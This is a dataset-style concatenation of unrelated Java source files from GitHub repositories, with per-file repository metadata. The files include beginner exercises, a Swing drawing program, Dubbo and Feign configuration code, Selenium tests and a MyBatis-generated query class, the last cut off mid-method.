Dianminii/Accessmodifier
2750abc5291d8b5bdfa6327c64684a6a3249e88f
fd046b1adbff1dacc31f65b8d6488830f36d0de9
refs/heads/master
2023-01-23T08:31:39.088771
2020-12-09T07:51:44
2020-12-09T07:51:44
319,881,324
0
0
null
null
null
null
UTF-8
Java
false
false
562
java
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package AccesModifier; /** * * @author ASUS */ public class KelasA { private int memberA = 5; char memberB = 'A'; double memberC = 1.5; private int functionA() { return memberA; } int functionB() { // Pemanggilan private member dan private function int hasil = functionA() + memberA; return hasil; } }
[ "dianmiftahul02@gmail.com" ]
dianmiftahul02@gmail.com
d3032694ac41a28cf937cd05afa50d86325b1132
be461004695ffb14c664375d04db097f18ed5162
/week-04/day-5/src/triangles/Triangles.java
a5c8fb7fd1afda73c9e6b82e1c3bc47375b67417
[]
no_license
green-fox-academy/adelbiro
30559db77108670e57ac1567ea610c059b5aa1a9
6b5d29849f899a8e470720b5cf64807edf71477f
refs/heads/master
2020-04-02T23:01:50.039181
2019-03-17T08:44:26
2019-03-17T08:44:26
154,853,339
0
1
null
null
null
null
UTF-8
Java
false
false
1,697
java
package triangles; import javax.swing.*; import java.awt.*; import static javax.swing.JFrame.EXIT_ON_CLOSE; public class Triangles { public static void mainDraw(Graphics graphics) { int counter = 7; drawTriangles(graphics, 0, 0, WIDTH, counter); } public static void drawTriangles(Graphics graphics, double x, double y, int canvasSize, int counter) { if (counter > 0) { graphics.setColor(Color.RED); graphics.drawLine((int) x, (int) y, (int) x + canvasSize, (int) y); graphics.setColor(Color.GREEN); graphics.drawLine((int) x + canvasSize, (int) y, (int) x + canvasSize / 2, (int) y + canvasSize); graphics.setColor(Color.BLUE); graphics.drawLine((int) x, (int) y, (int) x + (canvasSize / 2), (int) y + canvasSize); drawTriangles(graphics, x, y, canvasSize / 2, counter - 1); drawTriangles(graphics, x + (canvasSize / 2), y, canvasSize / 2, counter - 1); drawTriangles(graphics, x + canvasSize / 4, y + canvasSize / 2, canvasSize / 2, counter - 1); } return; } // Don't touch the code below static int WIDTH = 729; static int HEIGHT = 729; public static void main(String[] args) { JFrame jFrame = new JFrame("Drawing"); jFrame.setDefaultCloseOperation(EXIT_ON_CLOSE); Triangles.ImagePanel panel = new Triangles.ImagePanel(); panel.setPreferredSize(new Dimension(WIDTH, HEIGHT)); jFrame.add(panel); jFrame.setLocationRelativeTo(null); jFrame.setVisible(true); jFrame.pack(); } static class ImagePanel extends JPanel { @Override protected void paintComponent(Graphics graphics) { super.paintComponent(graphics); mainDraw(graphics); } } }
[ "b.adel93@gmail.com" ]
b.adel93@gmail.com
bd0b3210fdd4e29850aa661a31948f7fa88a0e86
215f66539389de3dffd5785b45dbc024e476faed
/AtosKnowledgebase/src/database/UserDao.java
4bfcf5288591edb888b82ccaa73f365dcb7d06ab
[]
no_license
kevinrovers/AtosKnowledgebase
c383e13acdb2ed5d4c31cb051b927cb8c1413c38
4bba3aa3c022e22b5f2c54700e2762bfed5dcd7c
refs/heads/master
2021-05-28T06:24:08.631783
2015-02-03T12:04:20
2015-02-03T12:04:20
null
0
0
null
null
null
null
UTF-8
Java
false
false
562
java
package database; import java.util.List; public interface UserDao { public void registerUser(String id, String fn, String mn, String ln, String dob, String function, List<String> competence); public List<User> displayUsers(); public String getCollectionNames(); public void deleteAllRecordsSelectedCollection(); public String getRecordsByID(String id); public String getRecordsByFirstName(String firstName); public String getRecordsByMiddleName(String middleName); public String getRecordsByLastName(String lastName); }
[ "kevin.rovers@atos.net" ]
kevin.rovers@atos.net
f8f4e7b641f21c2b3fb0198812f4e091259e8ad0
f3fd1daad7e116d9746d466b43003309a9341f9d
/CSE214ss/src/hw7/DataSetViewer.java
e49b696d962c4e4df80df38d5cea7a813bdf1c44
[]
no_license
bmxr022/CSE214
372258dc536b8d0343d0cf9241bb6105013d8d7d
d71c34a9bd7049f625479316af182d3c223da0e6
refs/heads/master
2016-09-05T17:17:23.502594
2014-05-06T02:47:52
2014-05-06T02:47:52
null
0
0
null
null
null
null
UTF-8
Java
false
false
3,688
java
package hw7; import java.util.ArrayList; import java.util.Collections; import java.util.InputMismatchException; import java.util.Scanner; public class DataSetViewer { static String inStr1 = ""; static String inStr2 = ""; static String inStr3 = ""; public static void main(String[] args) { ArrayList<DataSet> dataSetList = new ArrayList<DataSet>(); Scanner s = new Scanner(System.in); int lastSort = 0; //0: unsorted. 1: name. 2: row. 3: average. int lastAvgNum = 0; //last race number used to sort by average. do { clearInputs(); printMenu(); inStr1 = s.nextLine().toUpperCase(); switch (inStr1) { case "A": { System.out.println("Enter a filename to add: "); inStr2 = s.nextLine(); System.out.println("Enter a name for this data (or leave blank to infer from filename)"); inStr3 = s.nextLine(); try { if (inStr3.compareTo("") == 0) { dataSetList.add(new DataSet(inStr2)); inStr3 = inStr2.replace(".csv", ""); } else dataSetList.add(new DataSet(inStr2, inStr3)); } catch (FileNotFoundException e) { System.out.println(e.getMessage()); break; } System.out.println(inStr2 + " added, named " + inStr3 + "."); break; } case "N": { Collections.sort(dataSetList, new DataSetNameComparator()); lastSort = 1; System.out.println(" Name: Rows: Averages: Race #1" + " Race #2 Race #3 Race #4 Race #5"); int counter = 0; for (DataSet ds : dataSetList) { counter++; System.out.println(counter + ". " + ds.toString()); } break; } case "R": { Collections.sort(dataSetList, new DataSetNumRowsComparator()); lastSort = 2; System.out.println(" Name: Rows: Averages: Race #1" + " Race #2 Race #3 Race #4 Race #5"); int counter = 0; for (DataSet ds : dataSetList) { counter++; System.out.println(counter + ". " + ds.toString()); } break; } case "V": { try { System.out.println("Enter race number to compare (1-5): "); lastAvgNum = s.nextInt(); Collections.sort(dataSetList, new DataSetRaceAverageComparator(lastAvgNum)); lastSort = 3; System.out.println(" Name: Rows: Averages: Race #1" + " Race #2 Race #3 Race #4 Race #5"); int counter = 0; for (DataSet ds : dataSetList) { counter++; System.out.println(counter + ". " + ds.toString()); } break; } catch (NumberFormatException | RaceNumberOutOfBoundsException e) { System.out.println(e.getMessage()); break; } catch (InputMismatchException e) { System.out.println("Input must be an integer between 1 and 5."); clearInputs(); break; } } } } while (!inStr1.equalsIgnoreCase("Q")); System.out.println("Exiting normally."); System.exit(0); } public static void printMenu() { System.out.println(); System.out.println("A) Add data source."); System.out.println("N) Sort by name."); System.out.println("R) Sort by row."); System.out.println("V) Sort by average."); System.out.println("G) Get data."); System.out.println("Q) Quit."); System.out.println("Enter a menu option: "); System.out.println(); } public static void clearInputs() { inStr1 = ""; inStr2 = ""; inStr3 = ""; } }
[ "samuels.zach@gmail.com" ]
samuels.zach@gmail.com
4037968b57a48f08bf5877c7326fd62250486f52
54c007a9a99c4094284508d603f1d1d7428523dc
/dubbo-config/dubbo-config-spring/src/main/java/com/alibaba/dubbo/config/spring/schema/DubboNamespaceHandler.java
f1c1fef8358e5210ab3851557ed55344a9c1ea0f
[ "Apache-2.0" ]
permissive
ZengLiQAQ/dubbo-2.6.5
3aaa40b38ba5e9b45773ab4f730ddf1722b3509e
09675b552a306dc24a498133729fcc48409d47bf
refs/heads/master
2021-05-20T14:37:57.068836
2019-12-21T11:17:46
2019-12-21T11:17:46
null
0
0
null
null
null
null
UTF-8
Java
false
false
2,884
java
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.alibaba.dubbo.config.spring.schema; import com.alibaba.dubbo.common.Version; import com.alibaba.dubbo.config.ApplicationConfig; import com.alibaba.dubbo.config.ConsumerConfig; import com.alibaba.dubbo.config.ModuleConfig; import com.alibaba.dubbo.config.MonitorConfig; import com.alibaba.dubbo.config.ProtocolConfig; import com.alibaba.dubbo.config.ProviderConfig; import com.alibaba.dubbo.config.RegistryConfig; import com.alibaba.dubbo.config.spring.ReferenceBean; import com.alibaba.dubbo.config.spring.ServiceBean; import org.springframework.beans.factory.xml.NamespaceHandlerSupport; /** * DubboNamespaceHandler * * @export */ // dubboๆบ็ ่งฃๆž namespace่งฃๆž public class DubboNamespaceHandler extends NamespaceHandlerSupport { static { // ๆฃ€ๆŸฅๅŒ…ๅ†ฒ็ช Version.checkDuplicate(DubboNamespaceHandler.class); } @Override public void init() { // xml้…็ฝฎ่งฃๆž=ใ€‹ registerBeanDefinitionParser("application", new DubboBeanDefinitionParser(ApplicationConfig.class, true)); registerBeanDefinitionParser("module", new DubboBeanDefinitionParser(ModuleConfig.class, true)); registerBeanDefinitionParser("registry", new DubboBeanDefinitionParser(RegistryConfig.class, true)); registerBeanDefinitionParser("monitor", new DubboBeanDefinitionParser(MonitorConfig.class, true)); registerBeanDefinitionParser("provider", new DubboBeanDefinitionParser(ProviderConfig.class, true)); registerBeanDefinitionParser("consumer", new DubboBeanDefinitionParser(ConsumerConfig.class, true)); registerBeanDefinitionParser("protocol", new DubboBeanDefinitionParser(ProtocolConfig.class, true)); registerBeanDefinitionParser("service", new DubboBeanDefinitionParser(ServiceBean.class, true)); registerBeanDefinitionParser("reference", new DubboBeanDefinitionParser(ReferenceBean.class, false)); // annotation่งฃๆž<dubbo:annotation package="" />xml้…็ฝฎ=ใ€‹ registerBeanDefinitionParser("annotation", new AnnotationBeanDefinitionParser()); } }
[ "xunzhao3456" ]
xunzhao3456
0dd5b11962d2b0abd77227813df5d846914d3e16
9d89d05a0896a0a5577eafc26a766d07167de855
/feign-demo/src/main/java/com/heimdall/feign/demo/controller/GithubController.java
13a9b61d7b2ad5a356eeeaa10ae5e2c83c4b09e1
[]
no_license
Evai/feign
6662ea757d70f1acb688a41ddc7237d562e3aa80
f3eac6e490e9d9762b8afe6ac3d3bd2dbaaeb0a6
refs/heads/main
2022-12-27T15:56:08.274464
2020-10-10T11:55:11
2020-10-10T11:55:11
302,681,835
0
0
null
null
null
null
UTF-8
Java
false
false
665
java
package com.heimdall.feign.demo.controller; import com.heimdall.feign.demo.client.GithubFeign; import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.annotation.Resource; /** * @author crh * @date 2020-09-12 */ @RestController @RequestMapping("/github") public class GithubController { @Resource private GithubFeign githubFeign; @GetMapping("/user") public String getUser(String user) { return githubFeign.getUser(user); } }
[ "crh@juwan.group" ]
crh@juwan.group
cc05de43d91aacd6e74d9227834e9a96dbe2bb65
fbb30131e77f4e883f14b661d32c7026d6451f34
/mall-sys/src/main/java/com/yht/sys/service/TokenService.java
9eb99293ce9279572a07091430e2d3e43ebaf283
[]
no_license
Yht-7683/mall_back
107ac8b8c14f5a9b1ba13a13d488afd183c9cd84
6e2b1caf7722b87984ea4efd93eafaf586d6cdb1
refs/heads/master
2023-03-18T20:17:17.460244
2021-02-02T07:08:34
2021-02-02T07:08:34
315,031,009
0
0
null
null
null
null
UTF-8
Java
false
false
501
java
package com.yht.sys.service; import com.baomidou.mybatisplus.extension.service.IService; import com.yht.common.DO.SysUserTokenDO; import com.yht.common.utils.Result; public interface TokenService extends IService<SysUserTokenDO> { /** * ็”Ÿๆˆtoken * @param userId * @return */ Result createToken(long userId); /** * ้€€ๅ‡บ๏ผŒไฟฎๆ”นtokenๅ€ผ * @param userId ็”จๆˆทID */ void logout(long userId); SysUserTokenDO queryByToken(String token); }
[ "434807683@qq.com" ]
434807683@qq.com
37a3c10f7c1bf7d3cc9d762a4f8e0b5298946b64
4e1bf6d45acbc4baade0e20baecb395a0dfa2b60
/myproject/webTests/SecondBeruTest.java
012725ab81b3e63c2090713e65970c3e909b318a
[]
no_license
eprokopeva/raif-10-19
644aa47e8a686937e8398498634e632143b8027b
b3a2e6de4792f4a62eee76436245ec5645c9c965
refs/heads/master
2020-08-29T23:33:07.759263
2019-10-28T06:35:43
2019-10-28T06:35:43
null
0
0
null
null
null
null
UTF-8
Java
false
false
3,938
java
//package com.raiffeisen.webTests; // //import com.raiffeisen.webTests.pages.BeruHomePAge; //import com.raiffeisen.webTests.pages.CartPage; //import com.raiffeisen.webTests.pages.GoodsPage; //import com.raiffeisen.webTests.pages.SearchResultPage; //import io.qameta.allure.Description; //import io.qameta.allure.Epic; //import io.qameta.allure.Story; //import org.junit.jupiter.api.AfterAll; //import org.junit.jupiter.api.AfterEach; //import org.junit.jupiter.api.BeforeAll; //import org.junit.jupiter.api.Test; // //import java.util.Arrays; //import java.util.List; // //import static org.hamcrest.MatcherAssert.assertThat; //import static org.hamcrest.Matchers.*; // //@Epic("Epic description") //@Story("Beru homepage tests") //public class SecondBeruTest { // private static BeruHomePAge homePAge; // @BeforeAll // static void init(){ // DriverFactory.createDriver(); // homePAge = new BeruHomePAge(DriverFactory.driver); // } // @Description("test 1") // @Test // void checkLinks(){ // homePAge.verifyLinksVisibility(Arrays.asList( // "ะกะบะธะดะบะธ", "ะดะพัั‚ะฐะฒะบะฐ", "ะพะฟะปะฐั‚ะฐ", "ะฒะพะทะฒั€ะฐั‚" // )); // } // @Description("test 2") // @Test // void mailru() throws InterruptedException { // homePAge.openMailRuInNewTab(); // homePAge.goBack(); // } // @Description("test 3") // @Test // void checkCats(){ // List<String> aa = homePAge.getAllCategories(); // assertThat(aa, containsInAnyOrder("ะญะปะตะบั‚ั€ะพะฝะธะบะฐ", // "ะšะพะผะฟัŒัŽั‚ะตั€ะฝะฐั ั‚ะตั…ะฝะธะบะฐ", // "ะ‘ั‹ั‚ะพะฒะฐั ั‚ะตั…ะฝะธะบะฐ", // "ะขะพะฒะฐั€ั‹ ะดะปั ั€ะตะผะพะฝั‚ะฐ", // "ะ‘ั‹ั‚ะพะฒะฐั ั…ะธะผะธั", // "ะขะพะฒะฐั€ั‹ ะดะปั ะดะพะผะฐ", // "ะ”ะฐั‡ะฐ, ัะตะทะพะฝะฝั‹ะต ั‚ะพะฒะฐั€ั‹", // "ะ”ะตั‚ัะบะธะต ั‚ะพะฒะฐั€ั‹", // "ะŸั€ะพะดัƒะบั‚ั‹", // "ะšั€ะฐัะพั‚ะฐ ะธ ะณะธะณะธะตะฝะฐ", // "ะขะพะฒะฐั€ั‹ ะดะปั ะฒะทั€ะพัะปั‹ั…", // "ะ—ะดะพั€ะพะฒัŒะต", // "ะขะพะฒะฐั€ั‹ ะดะปั ะถะธะฒะพั‚ะฝั‹ั…", // "ะกะฟะพั€ั‚ ะธ ะพั‚ะดั‹ั…", // "ะงัƒะปะบะธ, ะบะพะปะณะพั‚ะบะธ, ะฝะพัะบะธ", // "ะกัƒะผะบะธ ะธ ะฐะบัะตัััƒะฐั€ั‹", // "ะงะฐัั‹, ัƒะบั€ะฐัˆะตะฝะธั, ะฐะบัะตัััƒะฐั€ั‹", // "ะ”ะพะผะฐัˆะฝัั ะพะฑัƒะฒัŒ", // "ะะฒั‚ะพั‚ะพะฒะฐั€ั‹", // "ะšะฝะธะณะธ", // "ะฅะพะฑะฑะธ ะธ ั‚ะฒะพั€ั‡ะตัั‚ะฒะพ", // "ะกัƒะฒะตะฝะธั€ั‹")); // homePAge.clickLogo(); // // } // @Description("test 5") // @Test // void searchForSmth(){ // SearchResultPage res = homePAge.openGoodsCategory( // "ะ‘ั‹ั‚ะพะฒะฐั ั‚ะตั…ะฝะธะบะฐ", "ะœะพั€ะพะทะธะปัŒะฝะธะบะธ"); // res.isPageOpened("ะœะพั€ะพะทะธะปัŒะฝะธะบะธ"); // } // @Description("test 6") // @Test // void addToCart(){ // homePAge.clickSuggestedNumber(2); // GoodsPage goods = new GoodsPage(DriverFactory.driver); // assertThat(goods.isPageOpened(), is(true)); // CartPage cp = goods.addToCart(); // cp.goToCartAndDelete(); // } // // @Description("test 7") // @Test // void addToCart1(){ // homePAge.clickSuggestedNumber(2); // GoodsPage goods = new GoodsPage(DriverFactory.driver); // assertThat(goods.isPageOpened(), is(true)); // CartPage cp = goods.addToCart(); // cp.clickButton("go_to_cart"); // cp.clickButton("delete_icon"); // cp.checkGoodDeleted(); // } // // @AfterEach // void goToMain(){ // homePAge.clickLogo(); // } // // @AfterAll // static void tearDown(){ // DriverFactory.tearDown(); // } //}
[ "noreply@github.com" ]
noreply@github.com
bd913924b990a0a9d4b2df6f452904e49aa5c858
c0933883c9b52b3b317fe301d363eb8517c4a721
/android/app/src/main/java/com/reactnativeproductcatalog/MainApplication.java
6a48b06a34687a6053ce4970a40aac375054259d
[]
no_license
rafaelbp92/ReactNativeProductCatalog
aac8606b2e5c56a2848049b2474cdf5ebe7798cb
57fd036f2ab3fcb604761346614925faff1dd94b
refs/heads/master
2021-08-23T11:10:12.245066
2017-12-04T16:39:03
2017-12-04T16:39:03
109,681,365
0
0
null
null
null
null
UTF-8
Java
false
false
1,061
java
package com.reactnativeproductcatalog; import android.app.Application; import com.facebook.react.ReactApplication; import com.facebook.react.ReactNativeHost; import com.facebook.react.ReactPackage; import com.facebook.react.shell.MainReactPackage; import com.facebook.soloader.SoLoader; import java.util.Arrays; import java.util.List; public class MainApplication extends Application implements ReactApplication { private final ReactNativeHost mReactNativeHost = new ReactNativeHost(this) { @Override public boolean getUseDeveloperSupport() { return BuildConfig.DEBUG; } @Override protected List<ReactPackage> getPackages() { return Arrays.<ReactPackage>asList( new MainReactPackage() ); } @Override protected String getJSMainModuleName() { return "index"; } }; @Override public ReactNativeHost getReactNativeHost() { return mReactNativeHost; } @Override public void onCreate() { super.onCreate(); SoLoader.init(this, /* native exopackage */ false); } }
[ "=" ]
=
08a67c6ed78e0a2ee7b5521c959fa63118fd2a43
144720c1916827c83ae6775471c20b70a73b08a4
/src/main/java/com/tourism/model/ComplaintExample.java
5f94d96877d2abdce7764a3d7a70ca755020b84b
[]
no_license
muximuzhi/tourism
b10bcef1a3b218029280ae86b37ff121eb272cb4
d8592c48cd206250f4a62ea5896188fea1713814
refs/heads/master
2020-07-06T03:50:07.979671
2019-08-13T07:53:08
2019-08-13T07:53:08
null
0
0
null
null
null
null
UTF-8
Java
false
false
24,599
java
package com.tourism.model; import java.util.ArrayList; import java.util.Date; import java.util.List; public class ComplaintExample { protected String orderByClause; protected boolean distinct; protected List<Criteria> oredCriteria; public ComplaintExample() { oredCriteria = new ArrayList<Criteria>(); } public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } public String getOrderByClause() { return orderByClause; } public void setDistinct(boolean distinct) { this.distinct = distinct; } public boolean isDistinct() { return distinct; } public List<Criteria> getOredCriteria() { return oredCriteria; } public void or(Criteria criteria) { oredCriteria.add(criteria); } public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andIdIsNull() { addCriterion("id is null"); return (Criteria) this; } public Criteria andIdIsNotNull() { addCriterion("id is not null"); return (Criteria) this; } public Criteria andIdEqualTo(Integer value) { addCriterion("id =", value, "id"); return (Criteria) this; } public Criteria andIdNotEqualTo(Integer value) { addCriterion("id <>", value, "id"); return (Criteria) this; } public Criteria andIdGreaterThan(Integer value) { addCriterion("id >", value, "id"); return (Criteria) this; } public Criteria andIdGreaterThanOrEqualTo(Integer value) { addCriterion("id >=", value, "id"); return (Criteria) this; } public Criteria andIdLessThan(Integer value) { addCriterion("id <", value, "id"); return (Criteria) this; } public Criteria andIdLessThanOrEqualTo(Integer value) { addCriterion("id <=", value, "id"); return (Criteria) this; } public Criteria andIdIn(List<Integer> values) { addCriterion("id in", values, "id"); return (Criteria) this; } public Criteria andIdNotIn(List<Integer> values) { addCriterion("id not in", values, "id"); return (Criteria) this; } public Criteria andIdBetween(Integer value1, Integer value2) { addCriterion("id between", value1, value2, "id"); return (Criteria) this; } public Criteria andIdNotBetween(Integer value1, Integer value2) { addCriterion("id not between", value1, value2, "id"); return (Criteria) this; } public Criteria andNumberIsNull() { addCriterion("number is null"); return (Criteria) this; } public Criteria andNumberIsNotNull() { addCriterion("number is not null"); return (Criteria) this; } public Criteria andNumberEqualTo(String value) { addCriterion("number =", value, "number"); return (Criteria) this; } public Criteria andNumberNotEqualTo(String value) { addCriterion("number <>", value, "number"); return (Criteria) this; } public Criteria andNumberGreaterThan(String value) { addCriterion("number >", value, "number"); return (Criteria) this; } public Criteria andNumberGreaterThanOrEqualTo(String value) { addCriterion("number >=", value, "number"); return (Criteria) this; } public Criteria andNumberLessThan(String value) { addCriterion("number <", value, "number"); return (Criteria) this; } public Criteria andNumberLessThanOrEqualTo(String value) { addCriterion("number <=", value, "number"); return (Criteria) this; } public Criteria andNumberLike(String value) { addCriterion("number like", value, "number"); return (Criteria) this; } public Criteria andNumberNotLike(String value) { addCriterion("number not like", value, "number"); return (Criteria) this; } public Criteria andNumberIn(List<String> values) { addCriterion("number in", values, "number"); return (Criteria) this; } public Criteria andNumberNotIn(List<String> values) { addCriterion("number not in", values, "number"); return (Criteria) this; } public Criteria andNumberBetween(String value1, String value2) { addCriterion("number between", value1, value2, "number"); return (Criteria) this; } public Criteria andNumberNotBetween(String value1, String value2) { addCriterion("number not between", value1, value2, "number"); return (Criteria) this; } public Criteria andNameIsNull() { addCriterion("name is null"); return (Criteria) this; } public Criteria andNameIsNotNull() { addCriterion("name is not null"); return (Criteria) this; } public Criteria andNameEqualTo(String value) { addCriterion("name =", value, "name"); return (Criteria) this; } public Criteria andNameNotEqualTo(String value) { addCriterion("name <>", value, "name"); return (Criteria) this; } public Criteria andNameGreaterThan(String value) { addCriterion("name >", value, "name"); return (Criteria) this; } public Criteria andNameGreaterThanOrEqualTo(String value) { addCriterion("name >=", value, "name"); return (Criteria) this; } public Criteria andNameLessThan(String value) { addCriterion("name <", value, "name"); return (Criteria) this; } public Criteria andNameLessThanOrEqualTo(String value) { addCriterion("name <=", value, "name"); return (Criteria) this; } public Criteria andNameLike(String value) { addCriterion("name like", value, "name"); return (Criteria) this; } public Criteria andNameNotLike(String value) { addCriterion("name not like", value, "name"); return (Criteria) this; } public Criteria andNameIn(List<String> values) { addCriterion("name in", values, "name"); return (Criteria) this; } public Criteria andNameNotIn(List<String> values) { addCriterion("name not in", values, "name"); return (Criteria) this; } public Criteria andNameBetween(String value1, String value2) { addCriterion("name between", value1, value2, "name"); return (Criteria) this; } public Criteria andNameNotBetween(String value1, String value2) { addCriterion("name not between", value1, value2, "name"); return (Criteria) this; } public Criteria andPhoneIsNull() { addCriterion("phone is null"); return (Criteria) this; } public Criteria andPhoneIsNotNull() { addCriterion("phone is not null"); return (Criteria) this; } public Criteria andPhoneEqualTo(String value) { addCriterion("phone =", value, "phone"); return (Criteria) this; } public Criteria andPhoneNotEqualTo(String value) { addCriterion("phone <>", value, "phone"); return (Criteria) this; } public Criteria andPhoneGreaterThan(String value) { addCriterion("phone >", value, "phone"); return (Criteria) this; } public Criteria andPhoneGreaterThanOrEqualTo(String value) { addCriterion("phone >=", value, "phone"); return (Criteria) this; } public Criteria andPhoneLessThan(String value) { addCriterion("phone <", value, "phone"); return (Criteria) this; } public Criteria andPhoneLessThanOrEqualTo(String value) { addCriterion("phone <=", value, "phone"); return (Criteria) this; } public Criteria andPhoneLike(String value) { addCriterion("phone like", value, "phone"); return (Criteria) this; } public Criteria andPhoneNotLike(String value) { addCriterion("phone not like", value, "phone"); return (Criteria) this; } public Criteria andPhoneIn(List<String> values) { addCriterion("phone in", values, "phone"); return (Criteria) this; } public Criteria andPhoneNotIn(List<String> values) { addCriterion("phone not in", values, "phone"); return (Criteria) this; } public Criteria andPhoneBetween(String value1, String value2) { addCriterion("phone between", value1, value2, "phone"); return (Criteria) this; } public Criteria andPhoneNotBetween(String value1, String value2) { addCriterion("phone not between", value1, value2, "phone"); return (Criteria) this; } public Criteria andGenderIsNull() { addCriterion("gender is null"); return (Criteria) this; } public Criteria andGenderIsNotNull() { addCriterion("gender is not null"); return (Criteria) this; } public Criteria andGenderEqualTo(String value) { addCriterion("gender =", value, "gender"); return (Criteria) this; } public Criteria andGenderNotEqualTo(String value) { addCriterion("gender <>", value, "gender"); return (Criteria) this; } public Criteria andGenderGreaterThan(String value) { addCriterion("gender >", value, "gender"); return (Criteria) this; } public Criteria andGenderGreaterThanOrEqualTo(String value) { addCriterion("gender >=", value, "gender"); return (Criteria) this; } public Criteria andGenderLessThan(String value) { addCriterion("gender <", value, "gender"); return (Criteria) this; } public Criteria andGenderLessThanOrEqualTo(String value) { addCriterion("gender <=", value, "gender"); return (Criteria) this; } public Criteria andGenderLike(String value) { addCriterion("gender like", value, "gender"); return (Criteria) this; } public Criteria andGenderNotLike(String value) { addCriterion("gender not like", value, "gender"); return (Criteria) this; } public Criteria andGenderIn(List<String> values) { addCriterion("gender in", values, "gender"); return (Criteria) this; } public Criteria andGenderNotIn(List<String> values) { addCriterion("gender not in", values, "gender"); return (Criteria) this; } public Criteria andGenderBetween(String value1, String value2) { addCriterion("gender between", value1, value2, "gender"); return (Criteria) this; } public Criteria andGenderNotBetween(String value1, String value2) { addCriterion("gender not between", value1, value2, "gender"); return (Criteria) this; } public Criteria andCreateTimeIsNull() { addCriterion("create_time is null"); return (Criteria) this; } public Criteria andCreateTimeIsNotNull() { addCriterion("create_time is not null"); return (Criteria) this; } public Criteria andCreateTimeEqualTo(Date value) { addCriterion("create_time =", value, "createTime"); return (Criteria) this; } public Criteria andCreateTimeNotEqualTo(Date value) { addCriterion("create_time <>", value, "createTime"); return (Criteria) this; } public Criteria andCreateTimeGreaterThan(Date value) { addCriterion("create_time >", value, "createTime"); return (Criteria) this; } public Criteria andCreateTimeGreaterThanOrEqualTo(Date value) { addCriterion("create_time >=", value, "createTime"); return (Criteria) this; } public Criteria andCreateTimeLessThan(Date value) { addCriterion("create_time <", value, "createTime"); return (Criteria) this; } public Criteria andCreateTimeLessThanOrEqualTo(Date value) { addCriterion("create_time <=", value, "createTime"); return (Criteria) this; } public Criteria andCreateTimeIn(List<Date> values) { addCriterion("create_time in", values, "createTime"); return (Criteria) this; } public Criteria andCreateTimeNotIn(List<Date> values) { addCriterion("create_time not in", values, "createTime"); return (Criteria) this; } public Criteria andCreateTimeBetween(Date value1, Date value2) { addCriterion("create_time between", value1, value2, "createTime"); return (Criteria) this; } public Criteria andCreateTimeNotBetween(Date value1, Date value2) { addCriterion("create_time not between", value1, value2, "createTime"); return (Criteria) this; } public Criteria andResultIsNull() { addCriterion("result is null"); return (Criteria) this; } public Criteria andResultIsNotNull() { addCriterion("result is not null"); return (Criteria) this; } public Criteria andResultEqualTo(String value) { addCriterion("result =", value, "result"); return (Criteria) this; } public Criteria andResultNotEqualTo(String value) { addCriterion("result <>", value, "result"); return (Criteria) this; } public Criteria andResultGreaterThan(String value) { addCriterion("result >", value, "result"); return (Criteria) this; } public Criteria andResultGreaterThanOrEqualTo(String value) { addCriterion("result >=", value, "result"); return (Criteria) this; } public Criteria andResultLessThan(String value) { addCriterion("result <", value, "result"); return (Criteria) this; } public Criteria andResultLessThanOrEqualTo(String value) { addCriterion("result <=", value, "result"); return (Criteria) this; } public Criteria andResultLike(String value) { addCriterion("result like", value, "result"); return (Criteria) this; } public Criteria andResultNotLike(String value) { addCriterion("result not like", value, "result"); return (Criteria) this; } public Criteria andResultIn(List<String> values) { addCriterion("result in", values, "result"); return (Criteria) this; } public Criteria andResultNotIn(List<String> values) { addCriterion("result not in", values, "result"); return (Criteria) this; } public Criteria andResultBetween(String value1, String value2) { addCriterion("result between", value1, value2, "result"); return (Criteria) this; } public Criteria andResultNotBetween(String value1, String value2) { addCriterion("result not between", value1, value2, "result"); return (Criteria) this; } public Criteria andDealTimeIsNull() { addCriterion("deal_time is null"); return (Criteria) this; } public Criteria andDealTimeIsNotNull() { addCriterion("deal_time is not null"); return (Criteria) this; } public Criteria andDealTimeEqualTo(Date value) { addCriterion("deal_time =", value, "dealTime"); return (Criteria) this; } public Criteria andDealTimeNotEqualTo(Date value) { addCriterion("deal_time <>", value, "dealTime"); return (Criteria) this; } public Criteria andDealTimeGreaterThan(Date value) { addCriterion("deal_time >", value, "dealTime"); return (Criteria) this; } public Criteria andDealTimeGreaterThanOrEqualTo(Date value) { addCriterion("deal_time >=", value, "dealTime"); return (Criteria) this; } public Criteria andDealTimeLessThan(Date value) { addCriterion("deal_time <", value, "dealTime"); return (Criteria) this; } public Criteria andDealTimeLessThanOrEqualTo(Date value) { addCriterion("deal_time <=", value, "dealTime"); return (Criteria) this; } public Criteria andDealTimeIn(List<Date> values) { addCriterion("deal_time in", values, "dealTime"); return (Criteria) this; } public Criteria andDealTimeNotIn(List<Date> values) { addCriterion("deal_time not in", values, 